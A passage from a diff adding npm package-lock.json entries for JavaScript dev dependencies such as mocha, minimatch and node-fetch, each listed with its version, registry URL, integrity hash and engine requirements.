"node": ">=8" + } + }, + "node_modules/log-symbols/node_modules/is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-symbols/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/loglevel": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/loglevel/-/loglevel-1.8.1.tgz", + "integrity": "sha512-tCRIJM51SHjAayKwC+QAg8hT8vg6z7GSgLJKGvzuPb1Wc+hLzqtuVLxp6/HzSPOozuK+8ErAhy7U/sVzw8Dgfg==", + "dev": true, + "engines": { + "node": ">= 0.6.0" + }, + "funding": { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/loglevel" + } + }, + "node_modules/loglevel-plugin-prefix": { + "version": "0.8.4", + "resolved": "https://registry.npmjs.org/loglevel-plugin-prefix/-/loglevel-plugin-prefix-0.8.4.tgz", + "integrity": "sha512-WpG9CcFAOjz/FtNht+QJeGpvVl/cdR6P0z6OcXSkr8wFJOsV2GRj2j10JLfjuA4aYkcKCNIEqRGCyTife9R8/g==", + "dev": true + }, + "node_modules/lowercase-keys": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-3.0.0.tgz", + "integrity": "sha512-ozCC6gdQ+glXOQsveKD0YsDy8DSQFjDTz4zyzEHNV5+JP5D62LmfDZ6o1cycFx9ouG940M5dE8C8CTewdj2YWQ==", + "dev": true, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lru-cache": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.0.1.tgz", + "integrity": "sha512-IJ4uwUTi2qCccrioU6g9g/5rvvVl13bsdczUUcqbciD9iLr095yj8DQKdObriEvuNSx325N1rV1O0sJFszx75g==", + "dev": true, + "engines": { + "node": "14 || >=16.14" + } + }, + "node_modules/make-dir": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", + "dev": true, + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/make-error": { + "version": "1.3.6", + "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz", + "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==", + "dev": true + }, + "node_modules/map-obj": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", + "integrity": "sha512-7N/q3lyZ+LVCp7PzuxrJr4KMbBE2hW7BT7YNia330OFxIf4d3r5zVpicP2650l7CPN6RM9zOJRl3NGpqSiw3Eg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true + }, + "node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mimic-fn": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-4.0.0.tgz", + "integrity": "sha512-vqiC06CuhBTUdZH+RYl8sFrL096vA45Ok5ISO6sE/Mr1jRbGH4Csnhi8f3wKVl7x8mO4Au7Ir9D3Oyv1VYMFJw==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mimic-response": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-4.0.0.tgz", + "integrity": "sha512-e5ISH9xMYU0DzrT+jl8q2ze9D6eWBto+I8CNpe+VI+K2J/F/k3PdkdTdz4wvGVH4NTpo+NRYTVIuMQEMMcsLqg==", + "dev": true, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/minimatch": { + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.3.tgz", + "integrity": "sha512-RHiac9mvaRw0x3AYRgDC1CxAP7HTcNrrECeA8YYJeWnpo+2Q5CegtZjaotWTWxDG3UeGA1coE05iH1mPjT/2mg==", + "dev": true, + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.0.3.tgz", + "integrity": "sha512-LhbbwCfz3vsb12j/WkWQPZfKTsgqIe1Nf/ti1pKjYESGLHIVjWU96G9/ljLH4F9mWNVhlQOm0VySdAWzf05dpg==", + "dev": true, + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/mitt": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/mitt/-/mitt-3.0.0.tgz", + "integrity": "sha512-7dX2/10ITVyqh4aOSVI9gdape+t9l2/8QxHrFmUXu4EEUpdlxl6RudZUPZoc+zuY2hk1j7XxVroIVIan/pD/SQ==", + "dev": true + }, + "node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/mkdirp-classic": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", + "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==", + "dev": true + }, + "node_modules/mlly": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/mlly/-/mlly-1.4.2.tgz", + "integrity": "sha512-i/Ykufi2t1EZ6NaPLdfnZk2AX8cs0d+mTzVKuPfqPKPatxLApaBoxJQ9x1/uckXtrS/U5oisPMDkNs0yQTaBRg==", + "dev": true, + "dependencies": { + "acorn": "^8.10.0", + "pathe": "^1.1.1", + "pkg-types": "^1.0.3", + "ufo": "^1.3.0" + } + }, + "node_modules/mocha": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-10.2.0.tgz", + "integrity": "sha512-IDY7fl/BecMwFHzoqF2sg/SHHANeBoMMXFlS9r0OXKDssYE1M5O43wUY/9BVPeIvfH2zmEbBfseqN9gBQZzXkg==", + "dev": true, + "dependencies": { + "ansi-colors": "4.1.1", + "browser-stdout": "1.3.1", + "chokidar": "3.5.3", + "debug": "4.3.4", + "diff": "5.0.0", + "escape-string-regexp": "4.0.0", + "find-up": "5.0.0", + "glob": "7.2.0", + "he": "1.2.0", + "js-yaml": "4.1.0", + "log-symbols": "4.1.0", + "minimatch": "5.0.1", + "ms": "2.1.3", + "nanoid": "3.3.3", + "serialize-javascript": "6.0.0", + "strip-json-comments": "3.1.1", + "supports-color": "8.1.1", + "workerpool": "6.2.1", + "yargs": "16.2.0", + "yargs-parser": "20.2.4", + "yargs-unparser": "2.0.0" + }, + "bin": { + "_mocha": "bin/_mocha", + "mocha": "bin/mocha.js" + }, + "engines": { + "node": ">= 14.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mochajs" + } + }, + "node_modules/mocha/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/mocha/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/mocha/node_modules/cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "node_modules/mocha/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/mocha/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/mocha/node_modules/diff": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz", + "integrity": "sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==", + "dev": true, + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/mocha/node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mocha/node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mocha/node_modules/glob": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", + "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/mocha/node_modules/glob/node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/mocha/node_modules/glob/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/mocha/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/mocha/node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mocha/node_modules/minimatch": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.0.1.tgz", + "integrity": "sha512-nLDxIFRyhDblz3qMuq+SoRZED4+miJ/G+tdDrjkkkRnjAsBexeGpgjLEQ0blJy7rHhR2b93rhQY4SvyWu9v03g==", + "dev": true, + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/mocha/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true + }, + "node_modules/mocha/node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mocha/node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mocha/node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/mocha/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/mocha/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/mocha/node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/mocha/node_modules/yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "dependencies": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/mocha/node_modules/yargs-parser": { + "version": "20.2.4", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz", + "integrity": "sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/mocha/node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/modern-node-polyfills": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/modern-node-polyfills/-/modern-node-polyfills-1.0.0.tgz", + "integrity": "sha512-w1yb6ae5qSUJJ2u41krkUAxs+L7i9143Qam8EuXwDMeZHxl1JN8RfTSXG4S2bt0RHIRMeoWm/HCeO0pNIHmIYQ==", + "dev": true, + "dependencies": { + "@jspm/core": "^2.0.1", + "@rollup/pluginutils": "^5.0.2", + "local-pkg": "^0.4.3" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "esbuild": "^0.14.0 || ^0.15.0 || ^0.16.0 || ^0.17.0 || ^0.18.0" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "node_modules/mute-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-1.0.0.tgz", + "integrity": "sha512-avsJQhyd+680gKXyG/sQc0nXaC6rBkPOfyHYcFb9+hdkqQkR9bdnkJ0AMZhke0oesPqIO+mFFJ+IdBc7mst4IA==", + "dev": true, + "engines": { + "node": "^14.17.0 || ^16.13.0 || >=18.0.0" + } + }, + "node_modules/n12": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/n12/-/n12-0.4.0.tgz", + "integrity": "sha512-p/hj4zQ8d3pbbFLQuN1K9honUxiDDhueOWyFLw/XgBv+wZCE44bcLH4CIcsolOceJQduh4Jf7m/LfaTxyGmGtQ==", + "dev": true + }, + "node_modules/nanoid": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.3.tgz", + "integrity": "sha512-p1sjXuopFs0xg+fPASzQ28agW1oHD7xDsd9Xkf3T15H3c/cifrFHVwrh74PdoklAPi+i7MdRsE47vm2r6JoB+w==", + "dev": true, + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/netmask": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/netmask/-/netmask-2.0.2.tgz", + "integrity": "sha512-dBpDMdxv9Irdq66304OLfEmQ9tbNRFnFTuZiLo+bD+r332bBmMJ8GBLXklIXXgxd3+v9+KUnZaUR5PJMa75Gsg==", + "dev": true, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/node-domexception": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz", + "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "github", + "url": "https://paypal.me/jimmywarting" + } + ], + "engines": { + "node": ">=10.5.0" + } + }, + "node_modules/node-fetch": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz", + "integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==", + "dev": true, + "dependencies": { + "data-uri-to-buffer": "^4.0.0", + "fetch-blob": "^3.1.4", + "formdata-polyfill": "^4.0.10" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/node-fetch" + } + }, + "node_modules/node-releases": { + "version": "2.0.13", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.13.tgz", + "integrity": "sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==", + "dev": true + }, + "node_modules/normalize-package-data": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-6.0.0.tgz", + "integrity": "sha512-UL7ELRVxYBHBgYEtZCXjxuD5vPxnmvMGq0jp/dGPKKrN7tfsBh2IY7TlJ15WWwdjRWD3RJbnsygUurTK3xkPkg==", + "dev": true, + "dependencies": { + "hosted-git-info": "^7.0.0", + "is-core-module": "^2.8.1", + "semver": "^7.3.5", + "validate-npm-package-license": "^3.0.4" + }, + "engines": { + "node": "^16.14.0 || >=18.0.0" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-url": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-8.0.0.tgz", + "integrity": "sha512-uVFpKhj5MheNBJRTiMZ9pE/7hD1QTeEvugSJW/OmLzAp78PB5O6adfMNTvmfKhXBkvCzC+rqifWcVYpGFwTjnw==", + "dev": true, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm-run-path": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-5.1.0.tgz", + "integrity": "sha512-sJOdmRGrY2sjNTRMbSvluQqg+8X7ZK61yvzBEIDhz4f8z1TZFYABsqjjCBd/0PUNE9M6QDgHJXQkGUEm7Q+l9Q==", + "dev": true, + "dependencies": { + "path-key": "^4.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm-run-path/node_modules/path-key": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-4.0.0.tgz", + "integrity": "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/object-inspect": { + "version": "1.12.3", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.3.tgz", + "integrity": "sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-is": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz", + "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-6.0.0.tgz", + "integrity": "sha512-1FlR+gjXK7X+AsAHso35MnyN5KqGwJRi/31ft6x0M194ht7S+rWAvd7PHss9xSKMzE0asv1pyIHaJYq+BbacAQ==", + "dev": true, + "dependencies": { + "mimic-fn": "^4.0.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora": { + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/ora/-/ora-5.4.1.tgz", + "integrity": 